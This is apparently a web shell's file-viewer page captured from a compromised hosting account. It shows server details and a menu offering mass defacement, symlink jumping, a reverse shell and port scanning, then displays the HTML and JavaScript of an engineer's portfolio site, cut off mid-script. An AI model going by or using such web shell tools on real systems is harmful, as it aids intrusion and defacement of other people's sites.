Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
arquitectura2
/
Viewing: index.html
<!doctype html> <html lang="es"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <meta name="description" content="Portafolio de ingeniería y diseño estructural de GreenEng." /> <title>GreenEng | Ingeniería & Diseño</title> <link id="site-favicon" rel="icon" href="" /> <link rel="manifest" href="manifest.webmanifest" /> <meta name="theme-color" content="#1A1A1A" /> <link rel="preconnect" href="https://fonts.googleapis.com" /> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin /> <link href="https://fonts.googleapis.com/css2?family=Cormorant+Garamond:ital,wght@0,300;0,400;0,500;0,600;1,300;1,400&family=Inter:wght@300;400;500;600&display=swap" rel="stylesheet" /> <script> window.tailwind = window.tailwind || {}; window.tailwind.config = { theme: { extend: { fontFamily: { sans: ['Inter', 'ui-sans-serif', 'system-ui', 'sans-serif'], serif: ['Cormorant Garamond', 'serif'] }, colors: { 'arch-bg': '#F9F8F6', 'arch-ink': '#1A1A1A', 'arch-accent': '#8C7E6A', whatsapp: '#25D366', instagram: '#E4405F', google: '#4285F4', gmail: '#EA4335' } } } }; </script> <script src="https://cdn.tailwindcss.com"></script> <style> body { min-height: 100vh; background-color: #F9F8F6; color: #1A1A1A; font-family: 'Inter', ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif; -webkit-font-smoothing: antialiased; } ::selection { background: #8C7E6A; color: #fff; } h1, h2, h3, h4, h5, h6 { font-family: 'Cormorant Garamond', serif; } #main-nav { color: #1a1a1a; text-shadow: none; } #main-nav.nav-solid { color: #1a1a1a; background-color: rgba(249, 248, 246, 0.95); backdrop-filter: blur(18px); border-bottom: 1px solid rgba(26, 26, 26, 0.05); box-shadow: 0 8px 30px rgba(0, 0, 0, 0.08); } .bg-grid-technical { background-color: #0c0d10; background-image: radial-gradient(circle at 15% 20%, rgba(255, 255, 255, 0.08), transparent 50%), radial-gradient(circle at 80% 0%, rgba(140, 126, 106, 0.15), transparent 55%), linear-gradient(to right, rgba(255, 255, 255, 0.04) 1px, transparent 1px), linear-gradient(to bottom, rgba(255, 255, 255, 0.04) 1px, transparent 1px); background-size: 100% 100%, 100% 100%, 70px 70px, 70px 70px; background-blend-mode: screen; } .text-balance { text-wrap: balance; } .glass { background: rgba(255, 255, 255, 0.7); backdrop-filter: blur(16px); border: 1px solid rgba(255, 255, 255, 0.2); } .fade-enter { animation: fade-in 0.4s ease forwards; } .masonry { column-count: 1; column-gap: 1rem; column-width: 170px; } @media (min-width: 768px) { .masonry { column-count: 2; column-width: 190px; } } @media (min-width: 1024px) { .masonry { column-count: 3; column-width: 210px; } } .masonry-item { break-inside: avoid; margin-bottom: 0.85rem; } .render-frame { position: relative; width: 100%; border-radius: 1.4rem; overflow: hidden; } .contact-icon { position: relative; overflow: hidden; isolation: isolate; border-radius: 999px; border: 1px solid transparent; background: #f7f4ef; transition: transform 0.3s ease, box-shadow 0.3s ease, border-color 0.3s ease; } .contact-icon::before { content: ''; position: absolute; inset: 0; z-index: -1; opacity: 0; transition: opacity 0.3s ease; } .contact-icon--mail { color: #EA4335; border-color: rgba(234, 67, 53, 0.25); } .contact-icon--mail::before { background: radial-gradient(circle at 30% 30%, rgba(234, 67, 53, 0.25), transparent 70%); } .contact-icon--whatsapp { color: #25D366; border-color: rgba(37, 211, 102, 0.25); } .contact-icon--whatsapp::before { background: radial-gradient(circle at 30% 30%, rgba(37, 211, 102, 0.25), transparent 70%); } .contact-icon--location { color: #4285F4; border-color: rgba(66, 133, 244, 0.25); } .contact-icon--location::before { background: radial-gradient(circle at 30% 30%, rgba(66, 133, 244, 0.25), transparent 70%); } .contact-icon--instagram { color: #E4405F; border-color: rgba(228, 64, 95, 0.2); } .contact-icon--instagram::before { background: radial-gradient(circle at 30% 30%, rgba(228, 64, 95, 0.25), transparent 70%); } .contact-icon:hover { transform: translateY(-3px); box-shadow: 0 12px 25px rgba(0, 0, 0, 0.12); } .contact-icon:hover::before { opacity: 1; } .contact-field { width: 100%; background: #f4f2ee; border: 1px solid rgba(26, 26, 26, 0.08); border-radius: 0.85rem; padding: 1rem; transition: border-color 0.3s ease, box-shadow 0.3s ease; } .contact-field:focus { border-color: #8C7E6A; box-shadow: 0 0 0 3px rgba(140, 126, 106, 0.2); background: #fff; outline: none; } .footer-pill { display: inline-flex; align-items: center; justify-content: center; padding: 0.35rem 0.9rem; border-radius: 999px; border: 1px solid rgba(26, 26, 26, 0.15); background: linear-gradient(145deg, #fdfaf5, #f1ece3); box-shadow: 0 8px 20px rgba(0, 0, 0, 0.08); font-size: 0.65rem; letter-spacing: 0.2em; text-transform: uppercase; transition: all 0.3s ease; } .footer-pill:hover { border-color: #1a1a1a; color: #fff; background: #1a1a1a; box-shadow: 0 10px 25px rgba(26, 26, 26, 0.25); } .login-button { width: 100%; background: #141414; color: #fff; padding: 1rem; border-radius: 999px; text-transform: uppercase; letter-spacing: 0.3em; font-size: 0.75rem; font-weight: 600; border: none; box-shadow: 0 12px 25px rgba(0, 0, 0, 0.2); transition: transform 0.3s ease, box-shadow 0.3s ease, background 0.3s ease; } .login-button:hover { background: #000; transform: translateY(-2px); box-shadow: 0 15px 30px rgba(0, 0, 0, 0.25); } .login-button:focus { outline: none; box-shadow: 0 0 0 3px rgba(0, 0, 0, 0.2); } @keyframes fade-in { from { opacity: 0; transform: translateY(10px); } to { opacity: 1; transform: translateY(0); } } </style> </head> <body class="selection:bg-arch-accent selection:text-white"> <div class="min-h-screen"> <!-- Navigation --> <nav id="main-nav" class="fixed top-0 w-full z-50 transition-all duration-700 ease-in-out py-8"> <div class="max-w-7xl mx-auto px-6 flex justify-between items-center"> <button id="logo" class="text-2xl font-serif tracking-widest uppercase outline-none"><span id="site-name-text">GreenEng</span></button> <div class="hidden md:flex items-center space-x-10"> <div id="nav-links" class="flex items-center space-x-10"></div> <button id="lang-toggle" class="flex items-center space-x-2 text-xs uppercase tracking-[0.3em] font-bold border border-arch-ink/10 px-3 py-1 rounded-full hover:bg-arch-ink hover:text-white transition-all outline-none"> <i data-lucide="globe" class="w-3.5 h-3.5"></i> <span id="lang-toggle-label">EN</span> </button> <button id="login-open" class="w-9 h-9 rounded-full bg-black text-white flex items-center justify-center hover:bg-arch-accent transition-all duration-300 shadow-lg hover:shadow-arch-accent/20" title="Iniciar Sesión"> <svg viewBox="0 0 24 24" class="w-4 h-4" fill="none" stroke="#fff" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"> <circle cx="12" cy="8.5" r="3"></circle> <path d="M5.5 19c0-3.3 3-5.5 6.5-5.5s6.5 2.2 6.5 5.5"></path> </svg> </button> </div> <div class="flex items-center space-x-4 md:hidden"> <button id="login-open-mobile" class="w-9 h-9 rounded-full bg-black text-white flex items-center justify-center"> <svg viewBox="0 0 24 24" class="w-4 h-4" fill="none" stroke="#fff" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"> <circle cx="12" cy="8.5" r="3"></circle> <path d="M5.5 19c0-3.3 3-5.5 6.5-5.5s6.5 2.2 6.5 5.5"></path> </svg> </button> <button id="menu-open" class="p-2" aria-label="Abrir menú"> <i data-lucide="menu" class="w-6 h-6"></i> </button> </div> </div> </nav> <!-- Mobile Menu --> <div id="mobile-menu" class="fixed inset-0 z-[60] hidden"> <div class="absolute inset-0 bg-arch-bg/75 backdrop-blur-2xl"></div> <div class="relative w-full h-full flex flex-col items-center justify-center space-y-8 px-8"> <button id="menu-close" class="absolute top-8 right-6 p-2" aria-label="Cerrar menú"> <i data-lucide="x" class="w-8 h-8"></i> </button> <div id="mobile-nav-links" class="flex flex-col items-center space-y-8 text-3xl font-serif italic"></div> <button id="mobile-lang-toggle" class="flex items-center space-x-2 text-sm uppercase tracking-[0.3em] font-bold border border-arch-ink px-6 py-2 rounded-full"> <i data-lucide="globe" class="w-4 h-4"></i> <span id="mobile-lang-label">English</span> </button> </div> </div> <main> <!-- Hero --> <section id="home" class="relative h-screen flex items-center justify-center overflow-hidden"> <div class="absolute inset-0 z-0 overflow-hidden"> <video class="w-full h-full object-cover opacity-60" src="storage/uploads/portada.mp4" autoplay muted loop playsinline></video> <div class="absolute inset-0 bg-gradient-to-b from-arch-bg/10 via-arch-bg/40 to-arch-bg"></div> </div> <div class="relative z-10 max-w-5xl mx-auto px-6 text-center"> <h1 id="hero-phrase" class="text-5xl md:text-7xl lg:text-8xl font-serif leading-tight mb-10 text-balance"></h1> <button id="hero-cta" class="group flex items-center space-x-4 mx-auto border-b border-arch-ink pb-2 text-sm uppercase tracking-[0.4em] font-bold hover:text-arch-accent hover:border-arch-accent transition-all" data-target="projects"> <span id="hero-cta-label"></span> <i data-lucide="arrow-right" class="w-4 h-4 transition-transform group-hover:translate-x-2"></i> </button> </div> <div class="absolute bottom-10 left-1/2 -translate-x-1/2 opacity-20"> <div class="w-px h-12 bg-arch-ink/40"></div> </div> </section> <!-- About --> <section id="about" class="py-24 bg-white"> <div class="max-w-7xl mx-auto px-6"> <div class="grid grid-cols-1 lg:grid-cols-[0.8fr_1.2fr] gap-20 items-center"> <div class="relative aspect-[4/5] overflow-hidden rounded-2xl shadow-2xl max-w-sm mx-auto lg:mx-0 fade-enter"> <img src="storage/uploads/personal.jpeg" alt="Ingeniero principal Edmond Alexander Green" class="w-full h-full object-cover" /> <div class="absolute inset-0 bg-gradient-to-t from-black/75 via-black/20 to-transparent"></div> <div class="absolute bottom-0 left-0 w-full p-8 text-white"> <p id="about-role" class="text-xs uppercase tracking-[0.5em] font-bold text-white/70"></p> <h3 class="text-3xl font-serif">Edmond Alexander Green</h3> </div> </div> <div class="space-y-12"> <div class="space-y-4"> <span id="about-title" class="text-xs uppercase tracking-[0.4em] text-arch-accent font-bold"></span> <h2 id="about-who" class="text-5xl font-serif italic"></h2> <p id="about-description" class="text-lg text-arch-ink/70 leading-relaxed"></p> </div> <div class="grid grid-cols-1 md:grid-cols-2 gap-10"> <div class="space-y-3"> <h4 id="about-experience-title" class="text-xl font-serif border-l-2 border-arch-accent pl-4"></h4> <p id="about-experience-desc" class="text-sm text-arch-ink/60 leading-relaxed"></p> </div> <div class="space-y-3"> <h4 id="about-mission-title" class="text-xl font-serif border-l-2 border-arch-accent pl-4"></h4> <p id="about-mission-desc" class="text-sm text-arch-ink/60 leading-relaxed"></p> </div> <div class="col-span-full space-y-3"> <h4 id="about-vision-title" class="text-xl font-serif border-l-2 border-arch-accent pl-4"></h4> <p id="about-vision-desc" class="text-sm text-arch-ink/60 leading-relaxed"></p> </div> </div> </div> </div> </div> </section> <!-- Projects --> <section id="projects" class="py-24"> <div class="max-w-7xl mx-auto px-6"> <div class="text-center mb-20 space-y-4"> <h2 id="projects-title" class="text-5xl font-serif"></h2> <p id="projects-subtitle" class="text-arch-ink/60 uppercase tracking-[0.4em] text-xs"></p> </div> <div id="projects-grid" class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-8 lg:gap-10"></div> </div> </section> <!-- Renders --> <section id="renders" class="py-32 bg-arch-ink text-white relative overflow-hidden bg-grid-technical"> <div class="absolute inset-0 bg-gradient-to-b from-arch-ink via-transparent to-arch-ink pointer-events-none"></div> <div class="max-w-4xl mx-auto px-6 relative z-10"> <div class="flex flex-col md:flex-row md:items-end justify-between mb-20 gap-8"> <div class="space-y-6"> <h2 id="renders-title" class="text-6xl md:text-7xl font-serif italic tracking-tight"></h2> <p id="renders-subtitle" class="text-white/40 uppercase tracking-[0.4em] text-[10px] font-bold"></p> </div> </div> <div id="renders-grid" class="masonry"></div> </div> </section> <!-- Contact --> <section id="contact" class="py-24"> <div class="max-w-7xl mx-auto px-6"> <div class="grid grid-cols-1 lg:grid-cols-2 gap-20"> <div class="space-y-10"> <div class="space-y-4"> <h2 id="contact-title" class="text-5xl font-serif"></h2> <p id="contact-subtitle" class="text-arch-ink/60 text-lg"></p> </div> <div class="space-y-6"> <div class="flex items-center space-x-6 group/item"> <div class="w-12 h-12 flex items-center justify-center contact-icon contact-icon--mail"> <i data-lucide="mail" class="w-5 h-5"></i> </div> <div> <p id="contact-email-label" class="text-[10px] uppercase tracking-[0.3em] font-bold text-arch-ink/40"></p> <p class="font-medium">edmon.green29@gmail.com</p> </div> </div> <div class="flex items-center space-x-6 group/item"> <div class="w-12 h-12 flex items-center justify-center contact-icon contact-icon--whatsapp"> <i data-lucide="phone" class="w-5 h-5"></i> </div> <div> <p id="contact-whatsapp-label" class="text-[10px] uppercase tracking-[0.3em] font-bold text-arch-ink/40"></p> <p class="font-medium" id="contact-whatsapp-number">+504 8872 7078</p> </div> </div> <div class="flex items-center space-x-6 group/item"> <div class="w-12 h-12 flex items-center justify-center contact-icon contact-icon--location"> <i data-lucide="map-pin" class="w-5 h-5"></i> </div> <div> <p id="contact-studio-label" class="text-[10px] uppercase tracking-[0.3em] font-bold text-arch-ink/40"></p> <a href="https://maps.app.goo.gl/A6abGW72J5bibfvA9" target="_blank" rel="noopener noreferrer" class="font-medium hover:text-google transition-colors">French Harbour, Islas de la Bahía, Honduras</a> </div> </div> <div class="pt-6 flex items-center space-x-4"> <a href="https://www.instagram.com/egreen.architect_designs?utm_source=ig_web_button_share_sheet&igsh=ZDNlZDc0MzIxNw==" target="_blank" rel="noopener noreferrer" class="w-12 h-12 flex items-center justify-center contact-icon contact-icon--instagram text-instagram hover:text-white" title="Instagram"> <i data-lucide="instagram" class="w-5 h-5"></i> </a> </div> </div> </div> <div class="bg-white p-10 rounded-2xl shadow-xl border border-arch-ink/5"> <form id="contact-form" class="space-y-6"> <div class="space-y-2"> <label id="contact-name-label" class="text-[10px] uppercase tracking-[0.3em] font-bold text-arch-ink/60"></label> <input name="name" type="text" required class="contact-field" placeholder="John Doe" /> </div> <div class="space-y-2"> <label id="contact-email-input-label" class="text-[10px] uppercase tracking-[0.3em] font-bold text-arch-ink/60"></label> <input name="email" type="email" required class="contact-field" placeholder="john@example.com" /> </div> <div class="space-y-2"> <label id="contact-message-label" class="text-[10px] uppercase tracking-[0.3em] font-bold text-arch-ink/60"></label> <textarea name="message" required rows="4" class="contact-field resize-none" id="contact-message-input"></textarea> </div> <button type="submit" class="w-full bg-[#25D366] text-white py-4 rounded-2xl uppercase tracking-[0.35em] font-bold text-xs flex items-center justify-center space-x-3 shadow-[0_12px_30px_rgba(37,211,102,0.35)] hover:bg-[#1EBE5A] transition-all duration-300"> <svg viewBox="0 0 24 24" class="w-5 h-5" fill="currentColor" xmlns="http://www.w3.org/2000/svg"> <path d="M17.472 14.382c-.297-.149-1.758-.867-2.03-.967-.273-.099-.471-.148-.67.15-.197.297-.767.966-.94 1.164-.173.199-.347.223-.644.075-.297-.15-1.255-.463-2.39-1.475-.883-.788-1.48-1.761-1.653-2.059-.173-.297-.018-.458.13-.606.134-.133.298-.347.446-.52.149-.174.198-.298.298-.497.099-.198.05-.371-.025-.52-.075-.149-.669-1.612-.916-2.207-.242-.579-.487-.5-.669-.51-.173-.008-.371-.01-.57-.01-.198 0-.52.074-.792.372-.272.297-1.04 1.016-1.04 2.479 0 1.462 1.065 2.875 1.213 3.074.149.198 2.096 3.2 5.077 4.487.709.306 1.262.489 1.694.625.712.227 1.36.195 1.871.118.571-.085 1.758-.719 2.006-1.413.248-.694.248-1.289.173-1.413-.074-.124-.272-.198-.57-.347m-5.421 7.403h-.004a9.87 9.87 0 01-5.031-1.378l-.361-.214-3.741.982.998-3.648-.235-.374a9.86 9.86 0 01-1.51-5.26c.001-5.45 4.436-9.884 9.888-9.884 2.64 0 5.122 1.03 6.988 2.898a9.825 9.825 0 012.893 6.994c-.003 5.45-4.437 9.884-9.885 9.884m8.413-18.297A11.815 11.815 0 0012.05 0C5.495 0 .16 5.335.157 11.892c0 2.096.547 4.142 1.588 5.945L.057 24l6.305-1.654a11.882 11.882 0 005.683 1.448h.005c6.554 0 11.89-5.335 11.893-11.893a11.821 11.821 0 00-3.48-8.413Z" /> </svg> <span id="contact-send-label"></span> </button> </form> </div> </div> </div> </section> </main> <!-- Footer --> <footer class="py-12 border-t border-arch-ink/10 text-center"> <p class="text-[10px] uppercase tracking-[0.3em] text-arch-ink font-bold"> © <span id="footer-year"></span> <span id="footer-site-name">GreenEng</span>. <span id="footer-rights"></span> <span class="mx-2 text-arch-ink/20">|</span> <span id="footer-crafted"></span> <a href="https://aircan.me/" target="_blank" rel="noopener noreferrer" class="ml-3 footer-pill"> Aircan </a> </p> <div class="mt-6 flex justify-center"> <button id="pwa-install" type="button" class="hidden px-6 py-3 rounded-full bg-black text-white text-xs font-bold uppercase tracking-[0.35em] shadow-2xl"> Instalar </button> </div> </footer> </div> <!-- Image Modal --> <div id="image-modal" class="fixed inset-0 z-[100] bg-black/95 flex items-center justify-center p-4 md:p-10 cursor-zoom-out hidden"> <button id="image-modal-close" class="absolute top-6 right-6 text-white/50 hover:text-white transition-colors" aria-label="Cerrar imagen"> <i data-lucide="x" class="w-10 h-10"></i> </button> <img id="modal-image" src="" alt="Full view" class="max-w-full max-h-full object-contain rounded-lg shadow-2xl" referrerpolicy="no-referrer" /> </div> <!-- Login Modal --> <div id="login-modal" class="fixed inset-0 z-[110] hidden"> <div class="absolute inset-0 bg-arch-ink/60 backdrop-blur-sm" data-close="login"></div> <div class="relative w-full max-w-md mx-auto mt-16 bg-white rounded-3xl shadow-2xl overflow-hidden p-10"> <button class="absolute top-6 right-6 p-2 rounded-full hover:bg-arch-bg transition-colors" data-close="login"> <i data-lucide="x" class="w-5 h-5 text-arch-ink/40"></i> </button> <div class="text-center space-y-2 mb-8"> <div class="w-16 h-16 bg-arch-bg rounded-2xl flex items-center justify-center mx-auto mb-6"> <i data-lucide="user" class="w-8 h-8 text-arch-accent"></i> </div> <h2 id="login-title" class="text-3xl font-serif">GreenEng Portal</h2> </div> <form class="space-y-6" method="POST" action="public/admin/login.php"> <div class="space-y-2"> <label id="login-email-label" class="text-[10px] uppercase tracking-[0.3em] font-bold text-arch-ink/60">Correo electrónico</label> <div class="relative"> <i data-lucide="mail" class="absolute left-4 top-1/2 -translate-y-1/2 text-arch-ink/20 w-4 h-4"></i> <input id="login-email-input" name="email" type="email" class="w-full bg-arch-bg border-none rounded-xl p-4 pl-12 focus:ring-2 focus:ring-arch-accent transition-all outline-none" placeholder="admin@greeneng.com" /> </div> </div> <div class="space-y-2"> <label id="login-password-label" class="text-[10px] uppercase tracking-[0.3em] font-bold text-arch-ink/60">Contraseña</label> <div class="relative"> <i data-lucide="lock" class="absolute left-4 top-1/2 -translate-y-1/2 text-arch-ink/20 w-4 h-4"></i> <input id="login-password-input" name="password" type="password" class="w-full bg-arch-bg border-none rounded-xl p-4 pl-12 pr-14 focus:ring-2 focus:ring-arch-accent transition-all outline-none" placeholder="••••••••" /> <button type="button" id="password-toggle" class="absolute right-4 top-1/2 -translate-y-1/2 text-arch-ink/40 hover:text-arch-ink transition-colors" aria-label="Mostrar contraseña"> <i data-lucide="eye" class="w-4 h-4"></i> </button> </div> </div> <button class="login-button" type="submit" id="login-submit-label">Iniciar Sesión</button> </form> </div> </div> <script src="https://unpkg.com/lucide@latest"></script> <script> let PROJECTS = []; const PROJECTS_EN_MAP = { 1: { title: 'Horizon Residence', description: 'Contemporary single-family home with warm lighting, indoor–outdoor integration and a minimalist approach.' }, 2: { title: 'Aurora Tower', description: 'Residential tower proposal with a ventilated façade, panoramic balconies and an elegant architectural language.' }, 3: { title: 'Prisma Shopping Center', description: 'Retail concept with fluid circulation, interior greenery and modern wayfinding for a premium experience.' }, 4: { title: 'Costa Azul Hotel', description: 'Boutique hotel with terraces, natural materiality and open views; designed for high-end tourism.' }, 5: { title: 'Nexus Offices', description: 'Corporate building with flexible spaces, biophilic design and energy-efficient HVAC and lighting.' }, 6: { title: 'Green Pavilion', description: 'Concept pavilion for events with a lightweight structure, dynamic shading and cross ventilation.' } }; let RENDERS = []; const TRANSLATIONS = { es: { nav: { home: 'Inicio', about: 'Sobre mí', projects: 'Proyectos', renders: 'Renders', contact: 'Contacto' }, hero: { phrase: 'Transformando visiones en estructuras atemporales.', cta: 'Explorar Proyectos', subtitle: 'Portafolio de Ingeniería y Diseño Estructural' }, about: { title: 'Sobre Mí', whoAmI: 'Quién Soy', whoAmIDesc: 'Ingeniero apasionado por la creación de soluciones estructurales que desafían los límites. Mi enfoque combina la precisión técnica con una visión innovadora para el desarrollo de infraestructuras.', experience: 'Experiencia', experienceDesc: 'Más de 10 años liderando proyectos de ingeniería civil y diseño estructural, enfocados en la eficiencia, seguridad y sostenibilidad.', mission: 'Misión', missionDesc: 'Construir infraestructuras resilientes que impulsen el progreso humano a través de la excelencia técnica.', vision: 'Visión', visionDesc: 'Ser un líder en ingeniería sostenible, integrando tecnologías avanzadas para crear un futuro más sólido.', role: 'Ingeniero Principal' }, projects: { title: 'Proyectos Destacados', subtitle: 'Una selección de obras que definen mi lenguaje arquitectónico.', cta: 'Ver proyecto' }, renders: { title: 'Galería de Renders', subtitle: 'Visualizaciones fotorrealistas de conceptos en desarrollo.' }, contact: { title: 'Contáctame', subtitle: '¿Tienes una idea en mente? Hagámosla realidad.', name: 'Nombre Completo', email: 'Correo Electrónico', message: 'Cuéntame sobre tu proyecto...', send: 'Enviar a WhatsApp', emailLabel: 'Correo', whatsappLabel: 'WhatsApp', studioLabel: 'Ubicación', login: 'Iniciar Sesión' }, auth: { title: 'GreenEng Portal', emailLabel: 'Correo electrónico', emailPlaceholder: 'admin@greeneng.com', passwordLabel: 'Contraseña', passwordPlaceholder: '••••••••', submit: 'Iniciar Sesión' }, footer: { rights: 'Todos los derechos reservados.', crafted: 'Creado por' } }, en: { nav: { home: 'Home', about: 'About Me', projects: 'Projects', renders: 'Renders', contact: 'Contact' }, hero: { phrase: 'Transforming visions into timeless structures.', cta: 'Explore Projects', subtitle: 'Engineering & Structural Design Portfolio' }, about: { title: 'About Me', whoAmI: 'Who I Am', whoAmIDesc: 'Engineer passionate about creating structural solutions that push boundaries. My approach combines technical precision with an innovative vision for infrastructure development.', experience: 'Experience', experienceDesc: 'Over 10 years leading civil engineering and structural design projects, focused on efficiency, safety, and sustainability.', mission: 'Mission', missionDesc: 'Building resilient infrastructures that drive human progress through technical excellence.', vision: 'Vision', visionDesc: 'To be a leader in sustainable engineering, integrating advanced technologies to create a more solid future.', role: 'Lead Engineer' }, projects: { title: 'Featured Projects', subtitle: 'A selection of works that define my architectural language.', cta: 'View project' }, renders: { title: 'Render Gallery', subtitle: 'Photorealistic visualizations of concepts in development.' }, contact: { title: 'Contact Me', subtitle: "Have an idea in mind? Let's make it happen.", name: 'Full Name', email: 'Email Address', message: 'Tell me about your project...', send: 'Send to WhatsApp', emailLabel: 'Email', whatsappLabel: 'WhatsApp', studioLabel: 'Studio', login: 'Login' }, auth: { title: 'GreenEng Portal', emailLabel: 'Email Address', emailPlaceholder: 'admin@greeneng.com', passwordLabel: 'Password', passwordPlaceholder: 'Enter your password', submit: 'Sign In' }, footer: { rights: 'All rights reserved.', crafted: 'Created by' } } }; const state = { lang: 'es', menuOpen: false, loginOpen: false, selectedImage: null, whatsappNumber: '50488727078', whatsappTemplate: null, siteName: 'GreenEng' }; const debugMode = new URLSearchParams(window.location.search).get('debug') === '1'; function withDebug(url) { if (!debugMode) return url; return url + (url.includes('?') ? '&' : '?') + 'debug=1'; } let deferredPwaPrompt = null; const refs = { nav: document.getElementById('main-nav'), navLinks: document.getElementById('nav-links'), mobileNavLinks: document.getElementById('mobile-nav-links'), langToggle: document.getElementById('lang-toggle'), langToggleLabel: document.getElementById('lang-toggle-label'), mobileLangToggle: document.getElementById('mobile-lang-toggle'), mobileLangLabel: document.getElementById('mobile-lang-label'), mobileMenu: document.getElementById('mobile-menu'), heroPhrase: document.getElementById('hero-phrase'), heroCtaLabel: document.getElementById('hero-cta-label'), projectsGrid: document.getElementById('projects-grid'), rendersGrid: document.getElementById('renders-grid'), contactForm: document.getElementById('contact-form'), contactMessageInput: document.getElementById('contact-message-input'), imageModal: document.getElementById('image-modal'), modalImage: document.getElementById('modal-image'), loginModal: document.getElementById('login-modal'), loginTitle: document.getElementById('login-title'), passwordInput: document.getElementById('login-password-input'), passwordToggle: document.getElementById('password-toggle') }; const textRefs = { about: { role: document.getElementById('about-role'), title: document.getElementById('about-title'), who: document.getElementById('about-who'), description: document.getElementById('about-description'), experienceTitle: document.getElementById('about-experience-title'), experienceDesc: document.getElementById('about-experience-desc'), missionTitle: document.getElementById('about-mission-title'), missionDesc: document.getElementById('about-mission-desc'), visionTitle: document.getElementById('about-vision-title'), visionDesc: document.getElementById('about-vision-desc') }, projects: { title: document.getElementById('projects-title'), subtitle: document.getElementById('projects-subtitle') }, renders: { title: document.getElementById('renders-title'), subtitle: document.getElementById('renders-subtitle') }, contact: { title: document.getElementById('contact-title'), subtitle: document.getElementById('contact-subtitle'), emailLabel: document.getElementById('contact-email-label'), whatsappLabel: document.getElementById('contact-whatsapp-label'), studioLabel: document.getElementById('contact-studio-label'), nameLabel: document.getElementById('contact-name-label'), emailInputLabel: document.getElementById('contact-email-input-label'), messageLabel: document.getElementById('contact-message-label'), sendLabel: document.getElementById('contact-send-label') }, footer: { year: document.getElementById('footer-year'), rights: document.getElementById('footer-rights'), crafted: document.getElementById('footer-crafted') } }; textRefs.footer.year.textContent = new Date().getFullYear(); function refreshIcons() { if (window.lucide) { lucide.createIcons(); } } function scrollToSection(id) { const section = document.getElementById(id); if (section) { section.scrollIntoView({ behavior: 'smooth' }); closeMobileMenu(); } } function renderNavLinks() { const t = TRANSLATIONS[state.lang]; refs.navLinks.innerHTML = ''; refs.mobileNavLinks.innerHTML = ''; Object.entries(t.nav).forEach(([key, label]) => { const btn = document.createElement('button'); btn.textContent = label; btn.className = 'text-xs uppercase tracking-[0.3em] font-medium hover:text-arch-accent transition-colors outline-none'; btn.addEventListener('click', () => scrollToSection(key)); refs.navLinks.appendChild(btn); const mobileBtn = document.createElement('button'); mobileBtn.textContent = label; mobileBtn.className = 'outline-none hover:text-arch-accent transition-colors'; mobileBtn.addEventListener('click', () => scrollToSection(key)); refs.mobileNavLinks.appendChild(mobileBtn); }); refreshIcons(); } function normalizeProjects(raw) { return (raw || []).map(p => ({ id: p.id, title: { es: p.title, en: (PROJECTS_EN_MAP?.[p.id]?.title || p.title) }, description: { es: p.description || '', en: (PROJECTS_EN_MAP?.[p.id]?.description || p.description || '') }, image: p.image_url || p.image || '', created_at: p.created_at || null })); } async function loadProjectsFromApi() { try { const res = await fetch(withDebug('public/api/projects.php'), { cache: 'no-store' }); if (!res.ok) { if (debugMode) { alert(await res.text()); } return; } const json = await res.json(); if (!json || !json.success || !Array.isArray(json.data)) return; const normalized = normalizeProjects(json.data); if (normalized.length) { PROJECTS = normalized; } } catch (e) { if (debugMode) { alert(String(e)); } } } async function loadRendersFromApi() { try { const res = await fetch(withDebug('public/api/renders.php'), { cache: 'no-store' }); if (!res.ok) { if (debugMode) { alert(await res.text()); } return; } const json = await res.json(); if (!json || !json.success || !Array.isArray(json.data)) return; const urls = (json.data || []).map(r => r.image_url || r.image).filter(Boolean); if (urls.length) { RENDERS = urls; } } catch (e) { if (debugMode) { alert(String(e)); } } } function formatProjectDate(createdAt) { if (!createdAt) return ''; const date = new Date(createdAt.replace(' ', 'T')); if (Number.isNaN(date.getTime())) return ''; const options = { month: 'short', day: 'numeric', hour: 'numeric', minute: '2-digit', hour12: true }; return date.toLocaleString(state.lang === 'es' ? 'es-ES' : 'en-US', options).replace('.', ''); } function renderProjects() { const t = TRANSLATIONS[state.lang]; refs.projectsGrid.innerHTML = ''; if (!Array.isArray(PROJECTS) || PROJECTS.length === 0) { const empty = document.createElement('div'); empty.className = 'col-span-full rounded-[32px] border border-arch-ink/10 bg-white/70 backdrop-blur-sm p-10 text-center'; empty.innerHTML = ` <p class="text-xs uppercase tracking-[0.4em] text-arch-ink/40 font-bold">${t.projects.subtitle}</p> <p class="mt-4 text-2xl font-serif">${state.lang === 'es' ? 'No hay proyectos disponibles' : 'No projects available'}</p> <p class="mt-3 text-sm text-arch-ink/60">${state.lang === 'es' ? 'Vuelve más tarde.' : 'Please check back later.'}</p> `; refs.projectsGrid.appendChild(empty); return; } PROJECTS.forEach(project => { const card = document.createElement('article'); card.className = 'group rounded-[32px] border border-arch-ink/5 bg-white/90 shadow-xl hover:shadow-2xl transition-shadow overflow-hidden backdrop-blur-sm'; card.innerHTML = ` <div class="relative aspect-[16/10] overflow-hidden"> <img src="${project.image || 'https://picsum.photos/seed/arch-fallback/1200/800'}" alt="${project.title[state.lang]}" class="w-full h-full object-cover group-hover:scale-[1.03] transition-transform duration-700" referrerpolicy="no-referrer" /> <div class="absolute inset-0 bg-gradient-to-t from-black/70 via-black/25 to-transparent"></div> <button class="absolute inset-0 w-full h-full" aria-label="Ver imagen" data-image="${project.image}"></button> <div class="absolute left-6 right-6 bottom-5 space-y-1"> <p class="text-white text-lg font-semibold leading-tight line-clamp-2">${project.title[state.lang]}</p> </div> </div> <div class="p-6 space-y-4"> <p class="text-arch-ink/70 text-sm leading-relaxed">${project.description[state.lang]}</p> </div> `; card.querySelectorAll('[data-image]').forEach(button => { button.addEventListener('click', (e) => { e.preventDefault(); openImage(project.image); }); }); 